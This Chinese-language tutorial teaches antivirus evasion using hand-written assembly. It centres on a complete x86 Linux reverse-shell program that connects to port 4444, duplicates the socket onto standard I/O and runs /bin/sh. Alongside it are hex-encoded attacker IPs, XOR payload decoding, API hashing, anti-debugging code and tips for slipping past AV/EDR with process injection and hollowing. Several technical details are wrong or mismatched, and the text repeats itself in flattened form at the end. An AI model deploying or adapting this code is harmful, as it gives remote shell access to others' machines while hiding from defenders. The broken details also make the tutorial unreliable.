编译汇编代码实现免杀
字数 1148 2025-08-07 00:34:58

编译汇编代码实现免杀技术详解

一、IP地址编码算法解析

在原始讨论中提到的IP地址编码问题,实际上是一种将常规IP地址转换为十六进制ASCII码表示的方法。下面详细解释这种编码方式:

1. 编码原理

IP地址中的每个字符(包括数字和分隔符".")都被转换为对应的ASCII码十六进制表示形式,并以h后缀表示十六进制。

2. 编码示例

原始讨论中的编码:

30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h

对应ASCII解码:

  • 30h → '0'
  • 2fh → '/'
  • 2dh → '-'
  • 32h → '2'
  • 2fh → '/'
  • 2dh → '-'
  • 33h → '3'
  • 2dh → '-'
  • 31h → '1'
  • 2fh → '/'
  • 33h → '3'
  • 00h → 终止符

组合起来是:"0/-2/-3-1/3"

3. 自定义IP编码方法

对于IP地址"192.168.41.129"的编码方法:

  1. 分解每个字符:
    1, 9, 2, ., 1, 6, 8, ., 4, 1, ., 1, 2, 9

  2. 查找每个字符的ASCII十六进制值:

    • '1' → 31h
    • '9' → 39h
    • '2' → 32h
    • '.' → 2Eh
    • '1' → 31h
    • '6' → 36h
    • '8' → 38h
    • '.' → 2Eh
    • '4' → 34h
    • '1' → 31h
    • '.' → 2Eh
    • '1' → 31h
    • '2' → 32h
    • '9' → 39h
    • 终止符 → 00h
  3. 最终编码序列:
    31h,39h,32h,2Eh,31h,36h,38h,2Eh,34h,31h,2Eh,31h,32h,39h,00h

二、汇编代码免杀关键技术

1. 去除窗口显示

在汇编或链接阶段,可以通过以下方法去除程序窗口:

链接参数设置为:/subsystem:console

或者使用汇编指令:

; 对于MASM语法
option casemap:none
option subsystem:console

2. 协议修改为TCP

要将连接协议改为TCP,需要在汇编代码中:

  1. 修改socket创建参数:
mov eax, 2 ; AF_INET
mov ebx, 1 ; SOCK_STREAM (TCP)
mov ecx, 6 ; IPPROTO_TCP
int 0x80   ; 系统调用
  1. 修改connect调用参数结构:
struct sockaddr_in {
    short sin_family;  // AF_INET = 2
    unsigned short sin_port; // 端口号(网络字节序)
    struct in_addr sin_addr; // IP地址
    char sin_zero[8];  // 未使用
};

三、完整免杀技术实现流程

1. 汇编代码编写要点

section .text
global _start

_start:
    ; 创建socket
    mov eax, 102 ; socketcall
    mov ebx, 1   ; SYS_SOCKET
    push 6       ; IPPROTO_TCP
    push 1       ; SOCK_STREAM
    push 2       ; AF_INET
    mov ecx, esp
    int 0x80
    
    ; 连接设置
    mov edi, eax ; 保存socket描述符
    push 0x0101017F ; 127.1.1.1 (小端序)
    push word 0x5C11 ; 端口4444 (网络字节序)
    push word 2      ; AF_INET
    mov ecx, esp
    
    ; 执行connect
    mov eax, 102
    mov ebx, 3   ; SYS_CONNECT
    push 16      ; sizeof(struct sockaddr_in)
    push ecx
    push edi
    mov ecx, esp
    int 0x80
    
    ; 重定向标准I/O
    mov ebx, edi ; socket描述符
    xor ecx, ecx
    mov cl, 2    ; stderr
dup_loop:
    mov eax, 63  ; dup2
    int 0x80
    dec ecx
    jns dup_loop
    
    ; 执行shell
    xor eax, eax
    push eax
    push 0x68732f2f ; "hs//"
    push 0x6e69622f ; "nib/"
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 11    ; execve
    int 0x80

2. 编译与链接

nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 -s -o shellcode shellcode.o

3. 免杀技巧

  1. 字符串混淆:所有字符串使用ASCII编码形式表示
  2. 系统调用混淆:使用socketcall代替直接socket调用
  3. IP编码:使用反向或混淆的IP表示形式
  4. 代码分段:将关键功能拆分为多个小函数
  5. 添加垃圾代码:插入无意义但不影响功能的指令

四、高级免杀技术

1. 动态解码技术

decode_loop:
    lodsb          ; 加载一个字节
    xor al, 0xAA   ; 解码密钥
    stosb          ; 存储解码后的字节
    loop decode_loop

2. API哈希处理

; 计算kernel32.dll导出函数哈希
compute_hash:
    xor eax, eax
    cdq
hash_loop:
    lodsb
    ror edx, 0x0D
    add edx, eax
    test al, al
    jnz hash_loop
    ret

3. 反调试技术

; 检查调试器存在
mov eax, 0x5658    ; __NR_ptrace
xor ebx, ebx
xor ecx, ecx
xor edx, edx
int 0x80
test eax, eax
js no_debugger

五、注意事项

  1. 现代AV/EDR会检测直接系统调用(int 0x80/syscall)
  2. 考虑使用间接系统调用或API调用绕过检测
  3. 代码段应设置正确的内存权限
  4. 避免使用明显的恶意代码模式(如连续的socket/dup2/execve)
  5. 考虑使用进程注入或进程挖空技术进一步增强隐蔽性

以上技术仅供学习研究使用,请勿用于非法用途。

编译汇编代码实现免杀技术详解 一、IP地址编码算法解析 在原始讨论中提到的IP地址编码问题,实际上是一种将常规IP地址转换为十六进制ASCII码表示的方法。下面详细解释这种编码方式: 1. 编码原理 IP地址中的每个字符(包括数字和分隔符".")都被转换为对应的ASCII码十六进制表示形式,并以 h 后缀表示十六进制。 2. 编码示例 原始讨论中的编码: 对应ASCII解码: 30h → '0' 2fh → '/' 2dh → '-' 32h → '2' 2fh → '/' 2dh → '-' 33h → '3' 2dh → '-' 31h → '1' 2fh → '/' 33h → '3' 00h → 终止符 组合起来是:"0/-2/-3-1/3" 3. 自定义IP编码方法 对于IP地址"192.168.41.129"的编码方法: 分解每个字符: 1, 9, 2, ., 1, 6, 8, ., 4, 1, ., 1, 2, 9 查找每个字符的ASCII十六进制值: '1' → 31h '9' → 39h '2' → 32h '.' → 2Eh '1' → 31h '6' → 36h '8' → 38h '.' → 2Eh '4' → 34h '1' → 31h '.' → 2Eh '1' → 31h '2' → 32h '9' → 39h 终止符 → 00h 最终编码序列: 31h,39h,32h,2Eh,31h,36h,38h,2Eh,34h,31h,2Eh,31h,32h,39h,00h 二、汇编代码免杀关键技术 1. 去除窗口显示 在汇编或链接阶段,可以通过以下方法去除程序窗口: 或者使用汇编指令: 2. 协议修改为TCP 要将连接协议改为TCP,需要在汇编代码中: 修改socket创建参数: 修改connect调用参数结构: 三、完整免杀技术实现流程 1. 汇编代码编写要点 2. 编译与链接 3. 免杀技巧 字符串混淆 :所有字符串使用ASCII编码形式表示 系统调用混淆 :使用socketcall代替直接socket调用 IP编码 :使用反向或混淆的IP表示形式 代码分段 :将关键功能拆分为多个小函数 添加垃圾代码 :插入无意义但不影响功能的指令 四、高级免杀技术 1. 动态解码技术 2. API哈希处理 3. 反调试技术 五、注意事项 现代AV/EDR会检测直接系统调用(int 0x80/syscall) 考虑使用间接系统调用或API调用绕过检测 代码段应设置正确的内存权限 避免使用明显的恶意代码模式(如连续的socket/dup2/execve) 考虑使用进程注入或进程挖空技术进一步增强隐蔽性 以上技术仅供学习研究使用,请勿用于非法用途。